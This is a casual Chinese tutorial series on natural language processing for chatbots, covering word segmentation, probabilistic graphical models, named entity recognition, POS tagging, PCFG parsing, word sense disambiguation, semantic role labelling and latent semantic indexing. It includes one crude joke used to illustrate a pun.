每个字在词语中都有一个构词位置:词首、词中、词尾、单独构词。根据一个字属于不同的构词位置,我们设计出来一系列特征,比如:前一个词、前两个词、前面词长度、前面词词首、前面词词尾、前面词词尾加上当前的字组成的词……

我们基于大量语料库,利用平均感知机分类器对上面特征做打分,并训练权重系数,这样得出的模型就可以用来分词了,句子右边多出来一个字,用模型计算这些特征的加权得分,得分最高的就是正确的分词方法

分词方法纵有千万种,一定有适合你的那一个

分词方法很多,效果上一定是有区别的,基于n元语法模型的方法的优势在于词表里已有的词的分词效果,基于字构词的方法的优势在于未登陆词的识别,因此各有千秋,你适合哪个就用哪个。

异性相吸,优势互补

既然两种分词各有优缺点,那么就把他们结合起来吧,来个插值法折中一下,用过的人都说好

流行分词工具都是用的什么分词方法

jieba中文分词

官方描述:

  • 基于前缀词典实现高效的词图扫描,生成句子中汉字所有可能成词情况所构成的有向无环图 (DAG)
  • 采用了动态规划查找最大概率路径, 找出基于词频的最大切分 组合
  • 对于未登录词,采用了基于汉字成词能力的 HMM 模型,使用了 Viterbi 算法

前两句话是说它是基于词表的分词,最后一句是说它也用了由字构词,所以它结合了两种分词方法

ik分词器

基于词表的最短路径切词

ltp云平台分词

主要基于机器学习框架并部分结合词表的方法

一篇文章读懂拿了图灵奖和诺贝尔奖的概率图模型

概率图模型是概率论和图论的结合,经常见到的贝叶斯网络、马尔可夫模型、最大熵模型、条件随机场都属于概率图模型,这些模型有效的解决了很多实际问题,比如自然语言处理中的词性标注、实体识别等,书里的描述都公式纵横、晦涩难懂,我们不妨试试轻轻松松的来说一说概率图模型

首先我们说说什么是图论

能点进这篇文章说明你一定是有一定数学基础的,所以我做个比喻,你来看看是不是这么回事。糖葫芦吃过吧?几个山楂串在一根杆上,这其实就是一个图。

稍稍正式一点说:图就是把一些孤立的点用线连起来,任何点之间都有可能连着。它区别于树,树是有父子关系,图没有。

再深入一点点:从质上来说,图可以表达的某些事物之间的关联关系,也可以表达的是一种转化关系;从量上来说,它能表达出关联程度,也能表达出转化的可能性大小

图论一般有什么用途呢?著名的七桥问题、四色问题、欧拉定理都是在图论基础上说事儿的

再说说概率论

概率论从中学到大学再到工作中都在学,它原理很简单:投个硬币出现人头的概率是1/2,最常用的就是条件概率P(B|A),联合概率P(A,B),贝叶斯公式:P(B|A)=P(A|B)P(B)/P(A),各种估计方法。

提前解释一下概率图模型里的几个常见词汇

贝叶斯(Bayes):无论什么理论什么模型,只要一提到他,那么里面一定是基于条件概率P(B|A)来做文章的。ps:贝叶斯老爷爷可是18世纪的人物,他的理论到现在还这么火,可见他的影响力绝不下于牛顿、爱因斯坦

马尔可夫(Markov):无论什么理论什么模型,只要一提到他,那么里面一定有一条链式结构或过程,前n个值决定当前这个值,或者说当前这个值跟前n个值有关

熵(entropy):熵有火字旁,本来是一个热力学术语,表示物质系统的混乱状态。延伸数学上表达的是一种不确定性。延伸到信息论上是如今计算机网络信息传输的基础理论,不确定性函数是f(p)=-logp,信息熵H(p)=-∑plogp。提到熵必须要提到信息论鼻祖香农(Shannon)

场(field):只要在数学里见到场,它都是英文里的“域”的概念,也就是取值空间,如果说“随机场”,那么就表示一个随机变量能够赋值的全体空间

再说概率图模型

概率图模型一般是用图来说明,用概率来计算的。所以为了清晰的说明,我们每一种方法我尽量配个图,并配个公式。

首先,为了脑子里有个体系,我们做一个分类,分成有向图模型和无向图模型,顾名思义,就是图里面的边是否有方向。那么什么样的模型的边有方向,而什么样的没方向呢?这个很好想到,有方向的表达的是一种推演关系,也就是在A的前提下出现了B,这种模型又叫做生成式模型。而没有方向表达的是一种“这样就对了”的关系,也就是A和B同时存在就对了,这种模型又叫做判别式模型。生成式模型一般用联合概率计算(因为我们知道A的前提了,可以算联合概率),判别式模型一般用条件概率计算(因为我们不知道前提,所以只能”假设”A条件下B的概率)。生成式模型的代表是:n元语法模型、隐马尔可夫模型、朴素贝叶斯模型等。判别式模型的代表是:最大熵模型、支持向量机、条件随机场、感知机模型等

贝叶斯网络

按照前面说的,提到贝叶斯就是条件概率,所以也就是生成式模型,也就是有向图模型。

为了说明什么是贝叶斯网络,我从网上盗取一个图

image

图中每一个点都可能未True或False,他们的概率是已知的,比如x7的概率需要有x4和x5来决定,可能是这样的

x4x5TF
TT0.50.5
TF0.40.6
FT0.70.3
FF0.20.8

那么可以通过上面的贝叶斯网络来估计如果x1为False情况下x6为True的概率:

P(x6=T|x1=F)=P(x6=T,x1=F)/P(x1=F)

这个值继续推导,最终可以由每个节点的概率数据计算求得,这么说来,贝叶斯网络模型可以通过样本学习来估计每个节点的概率,从而达到可以预测各种问题的结果

贝叶斯网络能够在已知有限的、不完整的、不确定信息条件下进行学习推理,所以广泛应用在故障诊断、维修决策、汉语自动分词、词义消歧等问题上

马尔可夫模型和隐马尔可夫模型

按照前面说的,提到马尔可夫就是一个值跟前面n个值有关,所以也就是条件概率,也就是生成式模型,也就是有向图模型。

继续盗图

音乐的每一个音不是随意作出来的,是根据曲子的风格、和弦、大小调式等来决定的,但是因为可选的音高有多种,也就出现了无数美妙的旋律。因为有约束,所以其实可以说新的音和前面的n个音有关,这其实是一个马尔可夫模型可以解释的事情。

马尔可夫模型还可以看成是一个关于时间t的状态转换过程,也就是随机的有限状态机,那么状态序列的概率可以通过计算形成该序列所有状态之间转移弧上的概率乘积得出。

如果说这个马尔可夫是两阶的,那么转移概率可能是这个样子:

当然后面的概率只是举了个例子,这种情况由前两列决定的第三列任意值都会有一个概率

我们通过训练样本来得出每一个概率值,这样就可以通过训练出的模型来根据前两个音是什么而预测下一个音是1、2、3、4、5任意一个的概率是多少了,也就是可以自动作曲了,当然这样做出的曲子肯定是一个无线循环的旋律,你猜猜为什么。

那么我们再说隐马尔可夫模型,这里的“隐”指的是其中某一阶的信息我们不知道,就像是我们知道人的祖先是三叶虫,但是由三叶虫经历了怎样的演变过程才演变到人的样子我们是不知道的,我们只能通过化石资料了解分布信息,如果这类资料很多,那么就可以利用隐马尔可夫模型来建模,因为缺少的信息较多,所以这一模型的算法比较复杂,比如前向算法、后向算法之类晦涩的东西就不说了。相对于原理,我们更关注它的应用,隐马尔可夫模型广泛应用在词性标注、中文分词等,为什么能用在这两个应用上呢?仔细想一下能看得出来,比如中文分词,最初你是不知道怎么分词的,前面的词分出来了,你才之后后面的边界在哪里,但是当你后面做了分词之后还要验证前面的分词是否正确,这样前后有依赖关系,而不确定中间状态的情况最适合用隐马尔可夫模型来解释

最大熵模型

按照前面所说的,看到熵那么一定会用到H(p)=-∑plogp,怎么理解最大熵模型呢?我们的最终目的是想知道在某一个信息条件B下,得出某种可能的结果A的最大的概率,也就是条件概率P(A|B)最大的候选结果。因为最大熵就是不确定性最大,其实也就是条件概率最大,所以求最大的条件概率等同于求最大熵,而我们这里的熵其实是H(p)=H(A|B)=-∑p(b)p(a|b)log(p(a|b)),为了使用训练数据做估计,这里的p(a|b)可以通过训练数据的某些特征来估计,比如这些特征是fi(a,b),那么做模型训练的过程就编程了训练∑λf(a,b)中的λ参数的过程,至此就有些像机器学习的线性回归了,该怎么做就清晰了。所以其实最大熵模型就是利用熵的原理和熵的公式来用另外一种形式来描述具有概率规律的现实的

条件随机场

场表示取值范围,随机场表示随机变量有取值范围,也就是每个随机变量有固定的取值,条件指的是随机变量的取值由一定的条件概率决定,而这里的条件来自于我们有一些观察值,这是它区别于其他随机场的地方。条件随机场也可以看做是一个无向图模型,它特殊就特殊在给定观察序列X时某个特定的标记序列Y的概率是一个指数函数exp(∑λt+∑μs),其中t是转移函数,s是状态函数,我们需要训练的是λ和μ。条件随机场主要应用在标注和切分有序数据上,尤其在自然语言处理、生物信息学、机器视觉、网络智能等方面

总结一下,概率图模型包括多种结合概率论和图论的模型,根据特定场景特定需求选择不同的模型,每种模型的参数都需要大量样本训练得出,每种模型都是用来根据训练出来的概率做最优结论选择的,比如根据训练出来的模型对句子做最正确的词性标注、实体标注、分词序列等,本文只是从理念上的解释和总结,真的用到某一种模型还是需要深入研究原理和公式推导以及编程实现,那就不是本文这种小篇幅能够解释的完的了,等我们后面要遇到必须用某一种模型来实现时再狠狠地深入一下。

大话自然语言处理中的囊中取物

大数据风靡的今天,不从里面挖出点有用的信息都不好意思见人,人工智能号称跨过奇点,统霸世界,从一句话里都识别不出一个命名实体?不会的,让我们大话自然语言处理的囊中取物,看看怎么样能让计算机像人一样看出一句话里哪个像人、哪个像物

话说天下大事,分久必合,合久必分。

之前谈到中文分词把文本切分成一个一个词语,现在我们要反过来,把该拼一起的词再拼到一起,找到一个命名实体,比如:“亚太经合组织”

条件随机场的用武之地

上回书说到,概率图模型中的条件随机场适用于在一定观测值条件下决定的随机变量有有限个取值的情况,它特殊就特殊在给定观察序列X时某个特定的标记序列Y的概率是一个指数函数exp(∑λt+∑μs),这也正符合最大熵原理。基于条件随机场的命名实体识别方法属于有监督的学习方法,需要利用已经标注好的大规模语料库进行训练,那么已经标注好的语料里面有什么样的特征能够让模型得以学习呢?

谈命名实体的放射性

为什么说命名实体是有放射性的呢?举个栗子:“中国积极参与亚太经合组织的活动”,这里面的“亚太经合组织”是一个命名实体,定睛一瞧,这个实体着实不凡啊,有“组织”两个字,这么说来这个实体是一种组织或机构,记住,下一次当你看到“组织”的时候和前面几个字组成的一定是一个命名实体。继续观察,在它之前辐射出了“参与”一次,经过大规模语料训练后能发现,才“参与”后面有较大概率跟着一个命名实体。继续观察,在它之后有“的活动”,那么说明前面很可能是一个组织者,组织者多半是一个命名实体。这就是基于条件随机场做命名实体识别的奥秘,这就是命名实体的放射性

特征模板

前面讲了放射性,那么设计特征模板就比较容易了,我们采用当前位置的前后n个位置上的字/词/字母/数字/标点等作为特征,因为是基于已经标注好的语料,所以这些特征是什么样的词性、词形都是已知的。

特征模板的选择是和具体我们要识别的实体类别有关系的,识别人名和识别机构名用的特征模板是不一样的,因为他们的特点就不一样,事实上识别中文人名和识别英文人名用的特征模板也是不一样的,因为他们的特点就不一样

且说命名实体

前面讲了一揽子原理,回过头来讲讲命名实体是什么,命名实体包括:人名(政治家、艺人等)、地名(城市、州、国家、建筑等)、组织机构名、时间、数字、专有名词(电影名、书名、项目名、电话号码等)、……。其实领域很多,不同人需求不一样,关注的范围也不一样。总之不外乎命名性指称、名词性指称和代词性指称

自古英雄周围总有谋士

基于条件随机场的命名实体方法虽好,但如何利用好还是需要各路谋士献计献策。有的人提出通过词形上下文训练模型,也就是给定词形上下文语境中产生实体的概率;有的人提出通过词性上下文训练模型,也就是给定词性上下文语境中产生实体的概率;有的人提出通过给定实体的词形串作为实体的概率;有的人提出通过给定实体的词性串作为实体的概率;当大家发现这四点总有不足时,有谋士提出:把四个结合起来!这真是:英雄代有人才出,能摆几出摆几出啊

语料训练那些事儿

语料训练那些事儿,且看我机器学习教程相关文章《机器学习精简入门教程》,预知后事如何,下回我也不分解了

让机器做词性自动标注的具体方法

分词、命名实体识别和词性标注这三项技术如果达不到很高的水平,是难以建立起高性能的自然语言处理系统,也就难以实现高质量的聊天机器人,而词性是帮助计算机理解语言含义的关键,本节来介绍一些词性标注的具体方法

何为词性

常说的词性包括:名、动、形、数、量、代、副、介、连、助、叹、拟声。但自然语言处理中要分辨的词性要更多更精细,比如:区别词、方位词、成语、习用语、机构团体、时间词等,多达100多种。

汉语词性标注最大的困难是“兼类”,也就是一个词在不同语境中有不同的词性,而且很难从形式上识别。

词性标注过程

为了解决词性标注无法达到100%准确的问题,词性标注一般要经过“标注”和“校验”两个过程,第一步“标注”根据规则或统计的方法做词性标注,第二步“校验”通过一致性检查和自动校对等方法来修正。

词性标注的具体方法

词性标注具体方法包括:基于统计模型的方法、基于规则的方法和两者结合的方法。下面我们分别来介绍。

基于统计模型的词性标注方法

提到基于统计模型,势必意味着我们要利用大量已经标注好的语料库来做训练,同时要先选择一个合适的训练用的数学模型,《自己动手做聊天机器人 十五-一篇文章读懂拿了图灵奖和诺贝尔奖的概率图模型》中我们介绍了概率图模型中的隐马尔科夫模型(HMM)比较适合词性标注这种基于观察序列来做标注的情形。语言模型选择好了,下面要做的就是基于语料库来训练模型参数,那么我们模型参数初值如何设置呢?这里面就有技巧了

隐马尔可夫模型参数初始化的技巧

模型参数初始化是在我们尚未利用语料库之前用最小的成本和最接近最优解的目标来设定初值。HMM是一种基于条件概率的生成式模型,所以模型参数是生成概率,那么我们不妨就假设每个词的生成概率就是它所有可能的词性个数的倒数,这个是计算最简单又最有可能接近最优解的生成概率了。每个词的所有可能的词性是我们已经有的词表里标记好的,这个词表的生成方法就比较简单了,我们不是有已经标注好的语料库嘛,很好统计。那么如果某个词在词表里没有呢?这时我们可以把它的生成概率初值设置为0。这就是隐马尔可夫模型参数初始化的技巧,总之原则就是用最小的成本和最接近最优解的目标来设定初值。一旦完成初始值设定后就可以利用前向后向算法进行训练了。

基于规则的词性标注方法

规则就是我们既定好一批搭配关系和上下文语境的规则,判断实际语境符合哪一种则按照规则来标注词性。这种方法比较古老,适合于既有规则,对于兼词的词性识别效果较好,但不适合于如今网络新词层出不穷、网络用语新规则的情况。于是乎,有人开始研究通过机器学习来自动提取规则,怎么提取呢?不是随便给一堆语料,它直接来生成规则,而是根据初始标注器标注出来的结果和人工标注的结果的差距,来生成一种修正标注的转换规则,这是一种错误驱动的学习方法。基于规则的方法还有一个好处在于:经过人工校总结出的大量有用信息可以补充和调整规则库,这是统计方法做不到的。

统计方法和规则方法相结合的词性标注方法

统计方法覆盖面比较广,新词老词通吃,常规非常规通吃,但对兼词、歧义等总是用经验判断,效果不好。规则方法对兼词、歧义识别比较擅长,但是规则总是覆盖不全。因此两者结合再好不过,先通过规则排歧,再通过统计标注,最后经过校对,可以得到正确的标注结果。在两者结合的词性标注方法中,有一种思路可以充分发挥两者优势,避免劣势,就是首选统计方法标注,同时计算计算它的置信度或错误率,这样来判断是否结果是否可疑,在可疑情况下采用规则方法来进行歧义消解,这样达到最佳效果。

词性标注的校验

做完词性标注并没有结束,需要经过校验来确定正确性以及修正结果。

第一种校验方法就是检查词性标注的一致性。一致性指的是在所有标注的结果中,具有相同语境下同一个词的标注是否都相同,那么是什么原因导致的这种不一致呢?一种情况就是这类词就是兼类词,可能被标记为不同词性。另一种情况是非兼类词,但是由于人工校验或者其他原因导致标记为不同词性。达到100%的一致性是不可能的,所以我们需要保证一致性处于某个范围内,由于词数目较多,词性较多,一致性指标无法通过某一种计算公式来求得,因此可以基于聚类和分类的方法,根据欧式距离来定义一致性指标,并设定一个阈值,保证一致性在阈值范围内。

第二种校验方法就是词性标注的自动校对。自动校对顾名思义就是不需要人参与,直接找出错误的标注并修正,这种方法更适用于一个词的词性标注通篇全错的情况,因为这种情况基于数据挖掘和规则学习方法来做判断会相对比较准确。通过大规模训练语料来生成词性校对决策表,然后根据这个决策表来找通篇全错的词性标注并做自动修正。

总结

词性标注的方法主要有基于统计和基于规则的方法,另外还包括后期校验的过程。词性标注是帮助计算机理解语言含义的关键,有了词性标注,我们才可以进一步确定句法和语义,才有可能让机器理解语言的含义,才有可能实现聊天机器人的梦想

神奇算法之句法分析树的生成

把一句话按照句法逻辑组织成一棵树,由人来做这件事是可行的,但是由机器来实现是不可思议的,然而算法世界就是这么神奇,把一个十分复杂的过程抽象成仅仅几步操作,甚至不足10行代码,就能让机器完成需要耗费人脑几十亿脑细胞的工作,本文我们来见识一下神奇的句法分析树生成算法

句法分析

先来解释一下句法分析。句法分析分为句法结构分析和依存关系分析。

句法结构分析也就是短语结构分析,比如提取出句子中的名次短语、动词短语等,最关键的是人可以通过经验来判断的短语结构,那么怎么由机器来判断呢?

(有关依存关系分析的内容,具体可以看《自己动手做聊天机器人 十二-教你如何利用强大的中文语言技术平台做依存句法和语义依存分析》)

句法分析树

样子如下:

1
2
3
-吃(v)-
| |
我(rr) 肉(n)

句法结构分析基本方法

分为基于规则的分析方法和基于统计的分析方法。基于规则的方法存在很多局限性,所以我们采取基于统计的方法,目前最成功的是基于概率上下文无关文法(PCFG)。基于PCFG分析需要有如下几个要素:终结符集合、非终结符集合、规则集。

相对于先叙述理论再举实例的传统讲解方法,我更倾向于先给你展示一个简单的例子,先感受一下计算过程,然后再叙述理论,这样会更有趣。

例子是这样的:我们的终结符集合是:∑={我, 吃, 肉,……},这个集合表示这三个字可以作为句法分析树的叶子节点,当然这个集合里还有很多很多的词

我们的非终结符集合是:N={S, VP, ……},这个集合表示树的非页子节点,也就是连接多个节点表达某种关系的节点,这个集合里也是有很多元素

我们的规则集:R={

NN->我 0.5

Vt->吃 1.0

NN->肉 0.5

VP->Vt NN 1.0

S->NN VP 1.0

……

}

这里的句法规则符号可以参考词性标注,后面一列是模型训练出来的概率值,也就是在一个固定句法规则中NN的位置是“我”的概率是0.5,NN推出“肉”的概率是0.5,0.5+0.5=1,也就是左部相同的概率和一定是1。不知道你是否理解了这个规则的内涵

再换一种方法解释一下,有一种句法规则是:

1
2
3
4
5
S——|
| |
NN VP
|——|
Vt NN

其中NN的位置可能是“我”,也可能是“肉”,是“我”的概率是0.5,是“肉”的概率是0.5,两个概率和必为1。其中Vt的位置一定是“吃”,也就是概率是1.0……。这样一说是不是就理解了?

规则集里实际上还有很多规则,只是列举出会用到的几个

以上的∑、N、R都是经过机器学习训练出来的数据集及概率,具体训练方法下面我们会讲到

那么如何根据以上的几个要素来生成句法分析树呢?

(1)“我”

词性是NN,推导概率是0.5,树的路径是“我”

(2)“吃”

词性是Vt,推导概率是1.0,树的路径是“吃”

(3)“肉”

词性是NN,概率是0.5,和Vt组合符合VP规则,推导概率是0.51.01.0=0.5,树的路径是“吃肉”

NN和VP组合符合S规则,推导概率是0.50.51.0=0.25,树的路径是“我吃肉”

所以最终的树结构是:

1
2
3
4
5
6
S——|
| |
NN VP
我 |——|
Vt NN
吃 肉

上面的例子是比较简单的,实际的句子会更复杂,但是都是通过这样的动态规划算法完成的

提到动态规划算法,就少不了“选择”的过程,一句话的句法结构树可能有多种,我们只选择概率最大的那一种作为句子的最佳结构,这也是“基于概率”上下文无关文法的名字起源。

上面的计算过程总结起来就是:设W={ω1ω2ω3……}表示一个句子,其中的ω表示一个词(word),利用动态规划算法计算非终结符A推导出W中子串ωiωi+1ωi+2……ωj的概率,假设概率为αij(A),那么有如下递归公式:

αij(A)=P(A->ωi)

αij(A)=∑∑P(A->BC)αik(B)α(k+1)j(C)

以上两个式子好好理解一下其实就是上面“我吃肉”的计算过程

以上过程理解了之后你一定会问,这里面最关键的的非终结符、终结符以及规则集是怎么得来的,概率又是怎么确定的?下面我们就来说明

句法规则提取方法与PCFG的概率参数估计

这部分就是机器学习的知识了,有关机器学习可以参考《机器学习教程》

首先我们需要大量的树库,也就是训练数据。然后我们把树库中的句法规则提取出来生成我们想要的结构形式,并进行合并、归纳等处理,最终得到上面∑、N、R的样子。其中的概率参数计算方法是这样的:

先给定参数为一个随机初始值,然后采用EM迭代算法,不断训练数据,并计算每条规则使用次数作为最大似然计算得到概率的估值,这样不断迭代更新概率,最终得出的概率可以认为是符合最大似然估计的精确值。

总结一下

句法分析树生成算法是基于统计学习的原理,根据大量标注的语料库(树库),通过机器学习算法得出非终结符、终结符、规则集及其概率参数,然后利用动态规划算法生成每一句话的句法分析树,在句法分析树生成过程中如果遇到多种树结构,选择概率最大的那一种作为最佳句子结构

机器人是怎么理解“日后再说”的

日后再说这个成语到了当代可以说含义十分深刻,你懂的,但是如何让计算机懂得可能有两种含义的一个词到底是想表达哪个含义呢?这在自然语言处理中叫做词义消歧,从本节开始我们从基本的结构分析跨入语义分析,开始让计算机对语言做深层次的理解

词义消歧

词义消歧是句子和篇章语义理解的基础,是必须解决的问题。任何一种语言都有大量具有多种含义的词汇,中文的“日”,英文的“bank”,法语的“prendre”……。

词义消歧可以通过机器学习的方法来解决。谈到机器学习就会分成有监督和无监督的机器学习。词义消歧有监督的机器学习方法也就是分类算法,即判断词义所属的分类。词义消歧无监督的机器学习方法也就是聚类算法,把词义聚成多类,每一类是一种含义。

有监督的词义消歧方法

基于互信息的词义消歧方法

这个方法的名字不好理解,但是原理却非常简单:用两种语言对照着看,比如:中文“打人”对应英文“beat a man”,而中文“打酱油”对应英文“buy some sauce”。这样就知道当上下文语境里有“人”的时候“打”的含义是beat,当上下文语境里有“酱油”的时候“打”的含义是buy。按照这种思路,基于大量中英文对照的语料库训练出来的模型就可以用来做词义消歧了,这种方法就叫做基于“互信息”的词义消歧方法。讲到“互信息”还要说一下它的起源,它来源于信息论,表达的是一个随机变量中包含另一个随机变量的信息量(也就是英文信息中包含中文信息的信息量),假设两个随机变量X、Y的概率分别是p(x), p(y),它们的联合分布概率是p(x,y),那么互信息计算公式是:

1
I(X; Y) = ∑∑p(x,y)log(p(x,y)/(p(x)p(y)))

以上公式是怎么推导出来的呢?比较简单,“互信息”可以理解为一个随机变量由于已知另一个随机变量而减少的不确定性(也就是理解中文时由于已知了英文的含义而让中文理解更确定了),因为“不确定性”就是熵所表达的含义,所以:

1
I(X; Y) = H(X) - H(X|Y)

等式后面经过不断推导就可以得出上面的公式,对具体推导过程感兴趣可以百度一下。

那么我们在对语料不断迭代训练过程中I(X; Y)是不断减小的,算法终止的条件就是I(X; Y)不再减小。

基于互信息的词义消歧方法自然对机器翻译系统的效果是最好的,但它的缺点是:双语语料有限,多种语言能识别出歧义的情况也是有限的(比如中英文同一个词都有歧义就不行了)。

基于贝叶斯分类器的消歧方法

提到贝叶斯那么一定少不了条件概率,这里的条件指的就是上下文语境这个条件,任何多义词的含义都是跟上下文语境相关的。假设语境(context)记作c,语义(semantic)记作s,多义词(word)记作w,那么我要计算的就是多义词w在语境c下具有语义s的概率,即:

p(s|c)

那么根据贝叶斯公式:

p(s|c) = p(c|s)p(s)/p(c)

我要计算的就是p(s|c)中s取某一个语义的最大概率,因为p(c)是既定的,所以只考虑分子的最大值:

s的估计=max(p(c|s)p(s))

因为语境c在自然语言处理中必须通过词来表达,也就是由多个v(词)组成,那么也就是计算:

max(p(s)∏p(v|s))

下面就是训练的过程了:

p(s)表达的是多义词w的某个语义s的概率,可以统计大量语料通过最大似然估计求得:

p(s) = N(s)/N(w)

p(v|s)表达的是多义词w的某个语义s的条件下出现词v的概率,可以统计大量语料通过最大似然估计求得:

p(v|s) = N(v, s)/N(s)

训练出p(s)和p(v|s)之后我们对一个多义词w消歧的过程就是计算(p(c|s)p(s))的最大概率的过程

无监督的词义消歧方法

完全无监督的词义消歧是不可能的,因为没有标注是无法定义是什么词义的,但是可以通过无监督的方法来做词义辨识。无监督的词义辨识其实也是一种贝叶斯分类器,和上面讲到的贝叶斯分类器消歧方法不同在于:这里的参数估计不是基于有标注的训练预料,而是先随机初始化参数p(v|s),然后根据EM算法重新估计这个概率值,也就是对w的每一个上下文c计算p(c|s),这样可以得到真实数据的似然值,回过来再重新估计p(v|s),重新计算似然值,这样不断迭代不断更新模型参数,最终得到分类模型,可以对词进行分类,那么有歧义的词在不同语境中会被分到不同的类别里。

仔细思考一下这种方法,其实是基于单语言的上下文向量的,那么我们进一步思考下一话题,如果一个新的语境没有训练模型中一样的向量怎么来识别语义?

这里就涉及到向量相似性的概念了,我们可以通过计算两个向量之间夹角余弦值来比较相似性,即:

cos(a,b) = ∑ab/sqrt(∑a^2∑b^2)

机器人是怎么理解“日后再说”的

回到最初的话题,怎么让机器人理解“日后再说”,这本质上是一个词义消歧的问题,假设我们利用无监督的方法来辨识这个词义,那么就让机器人“阅读”大量语料进行“学习”,生成语义辨识模型,这样当它听到这样一则对话时:

有一位老嫖客去找小姐,小姐问他什么时候结账啊。嫖客说:“钱的事情日后再说。”就开始了,完事后,小姐对嫖客说:“给钱吧。”嫖客懵了,说:“不是说日后再说吗?”小姐说:“是啊,你现在不是已经日后了吗?”

辨识了这里的“日后再说”的词义后,它会心的笑了

语义角色标注的基本方法

浅层语义标注是行之有效的语言分析方法,基于语义角色的浅层分析方法可以描述句子中语义角色之间的关系,是语义分析的重要方法,也是篇章分析的基础,本节介绍基于机器学习的语义角色标注方法

语义角色

举个栗子:“我昨天吃了一块肉”,按照常规理解“我吃肉”应该是句子的核心,但是对于机器来说“我吃肉”实际上已经丢失了非常多的重要信息,没有了时间,没有了数量。为了让机器记录并提取出这些重要信息,句子的核心并不是“我吃肉”,而是以谓词“吃”为核心的全部信息。

“吃”是谓词,“我”是施事者,“肉”是受事者,“昨天”是事情发生的时间,“一块”是数量。语义角色标注就是要分析出这一些角色信息,从而可以让计算机提取出重要的结构化信息,来“理解”语言的含义。

语义角色标注的基本方法

语义角色标注需要依赖句法分析的结果进行,因为句法分析包括短语结构分析、浅层句法分析、依存关系分析,所以语义角色标注也分为:基于短语结构树的语义角色标注方法、基于浅层句法分析结果的语义角色标注方法、基于依存句法分析结果的语义角色标注方法。但无论哪种方法,过程都是:

句法分析->候选论元剪除->论元识别->论元标注->语义角色标注结果

其中论元剪除就是在较多候选项中去掉肯定不是论元的部分

其中论元识别是一个二值分类问题,即:是论元和不是论元

其中论元标注是一个多值分类问题

下面分别针对三种方法分别说明这几个过程的具体方法

基于短语结构树的语义角色标注方法

短语结构树是这样的结构:

1
2
3
4
5
6
S——|
| |
NN VP
我 |——|
Vt NN
吃 肉

短语结构树里面已经表达了一种结构关系,因此语义角色标注的过程就是依赖于这个结构关系来设计的一种复杂策略,策略的内容随着语言结构的复杂而复杂化,因此我们举几个简单的策略来说明。

首先我们分析论元剪除的策略:

因为语义角色是以谓词为中心的,因此在短语结构树中我们也以谓词所在的节点为中心,先平行分析,比如这里的“吃”是谓词,和他并列的是“肉”,明显“肉”是受事者,那么设计什么样的策略能使得它成为候选论元呢?我们知道如果“肉”存在一个短语结构的话,那么一定会多处一个树分支,那么“肉”和“吃”一定不会在树的同一层,因此我们设计这样的策略来保证“肉”被选为候选论元:如果当前节点的兄弟节点和当前节点不是句法结构的并列关系,那么将它作为候选论元。当然还有其他策略不需要记得很清楚,现用现查就行了,但它的精髓就是基于短语结构树的结构特点来设计策略的。

然后就是论元识别过程了。论元识别是一个二值分类问题,因此一定是基于标注的语料库做机器学习的,机器学习的二值分类方法都是固定的,唯一的区别就是特征的设计,这里面一般设计如下特征效果比较好:谓词本身、短语结构树路径、短语类型、论元在谓词的位置、谓词语态、论元中心词、从属类别、论元第一个词和最后一个词、组合特征。

论元识别之后就是论元标注过程了。这又是一个利用机器学习的多值分类器进行的,具体方法不再赘述。

基于依存句法分析结果和基于语块的语义角色标注方法

这两种语义角色标注方法和基于短语结构树的语义角色标注方法的主要区别在于论元剪除的过程,原因就是他们基于的句法结构不同。

基于依存句法分析结果的语义角色标注方法会基于依存句法直接提取出谓词-论元关系,这和依存关系的表述是很接近的,因此剪除策略的设计也就比较简单:以谓词作为当前节点,当前节点所有子节点都是候选论元,将当前节点的父节点作为当前节点重复以上过程直至到根节点为止。

基于依存句法分析结果的语义角色标注方法中的论元识别算法的特征设计也稍有不同,多了有关父子节点的一些特征。

有了以上几种语义角色标注方法一定会各有优缺点,因此就有人想到了多种方法相融合的方法,融合的方式可以是:加权求和、插值……,最终效果肯定是更好,就不多说了。

多说几句

语义角色标注当前还是不是非常有效,原因有诸多方面,比如:依赖于句法分析的准确性、领域适应能力差。因此不断有新方法来解决这些问题,比如说可以利用双语平行语料来弥补准确性的问题,中文不行英文来,英文不行法语来,反正多多益善,这确实有助于改进效果,但是成本提高了许多。语义角色标注还有一段相当长的路要走,希望学术界研究能不断开花结果吧

比TF-IDF更好的隐含语义索引模型是个什么鬼

我曾经的一篇文章曾说到0字节存储海量语料资源,那么从海量语料资源中找寻信息需要依赖于信息检索的方法,信息检索无论是谷歌还是百度都离不开TF-IDF算法,但TF-IDF是万能的吗?并不是,它简单有效但缺乏语义特征,本节介绍比TF-IDF还牛逼的含有语义特征的信息检索方法

TF-IDF

TF(term frequency),表示一个词在一个文档中出现的频率;IDF(inverse document frequency),表示一个词出现在多少个文档中。

它的思路是这样的:同一个词在短文档中出现的次数和在长文档中出现的次数一样多时,对于短文档价值更大;一个出现概率很低的词一旦出现在文档中,其价值应该大于其他普遍出现的词。

这在信息检索领域的向量模型中做相似度计算非常有效,屡试不爽,曾经是google老大哥发家的必杀技。但是在开发聊天机器人这个事情上看到了它的软肋,那就是它只是考虑独立的词上的事情,并没有任何语义信息在里面,因此我们需要选择加入了语义特征的更有效的信息检索模型。

隐含语义索引模型

在TF-IDF模型中,所有词构成一个高维的语义空间,每个文档在这个空间中被映射为一个点,这种方法维数一般比较高而且每个词作为一维割裂了词与词之间的关系。所以为了解决这个问题,我们要把词和文档同等对待,构造一个维数不高的语义空间,每个词和每个文档都是被映射到这个空间中的一个点。用数学来表示这个思想就是说,我们考察的概率即包括文档的概率,也包括词的概率,以及他们的联合概率。

为了加入语义方面的信息,我们设计一个假想的隐含类包括在文档和词之间,具体思路是这样的:

(1)选择一个文档的概率是p(d);

(2)找到一个隐含类的概率是p(z|d);

(3)生成一个词w的概率为p(w|z);

以上是假设的条件概率,我们根据观测数据能估计出来的是p(d, w)联合概率,这里面的z是一个隐含变量,表达的是一种语义特征。那么我们要做的就是利用p(d, w)来估计p(d)、p(z|d)和p(w|z),最终根据p(d)、p(z|d)和p(w|z)来求得更精确的p(w, d),即词与文档之间的相关度。

为了做更精确的估计,设计优化的目标函数是对数似然函数:

L=∑∑n(d, w) log P(d, w)

那么如何来通过机器学习训练这些概率呢?首先我们知道:

p(d, w) = p(d) × p(w|d)

p(w|d) = ∑p(w|z)p(z|d)

同时又有:

p(z|d) = p(z)p(d|z)/∑p(z)p(d|z)

那么

p(d, w) =p(d)×∑p(w|z) p(z)p(d|z)/∑p(z)p(d|z)=∑p(z)×p(w|z)×p(d|z)

